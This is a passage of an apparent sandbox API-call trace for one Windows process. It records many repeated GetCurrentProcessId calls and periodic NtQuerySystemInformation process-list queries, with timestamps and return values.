0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.571] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.572] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.573] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0236.574] GetCurrentProcessId () returned 0xbf4 [0237.153] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0237.156] GetCurrentProcessId () returned 0xbf4 [0237.156] GetCurrentProcessId () returned 0xbf4 [0237.156] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.157] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.158] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.159] GetCurrentProcessId () returned 0xbf4 [0237.160] GetCurrentProcessId () returned 0xbf4 [0237.160] GetCurrentProcessId () returned 0xbf4 [0237.160] GetCurrentProcessId () returned 0xbf4 [0237.160] GetCurrentProcessId () returned 0xbf4 [0237.160] GetCurrentProcessId () returned 0xbf4 [0237.160] GetCurrentProcessId () returned 0xbf4 [0237.160] GetCurrentProcessId () returned 0xbf4 [0237.741] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0237.743] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.744] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.745] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.746] GetCurrentProcessId () returned 0xbf4 [0237.747] GetCurrentProcessId () returned 0xbf4 [0237.747] GetCurrentProcessId () returned 0xbf4 [0237.747] GetCurrentProcessId () returned 0xbf4 [0237.747] GetCurrentProcessId () returned 0xbf4 [0237.747] GetCurrentProcessId () returned 0xbf4 [0237.747] GetCurrentProcessId () returned 0xbf4 [0237.747] GetCurrentProcessId () returned 0xbf4 [0237.747] GetCurrentProcessId () returned 0xbf4 [0238.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.345] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.346] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.347] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.348] GetCurrentProcessId () returned 0xbf4 [0238.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.928] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.929] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.930] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0238.931] GetCurrentProcessId () returned 0xbf4 [0239.528] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.536] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 [0239.537] GetCurrentProcessId () returned 0xbf4 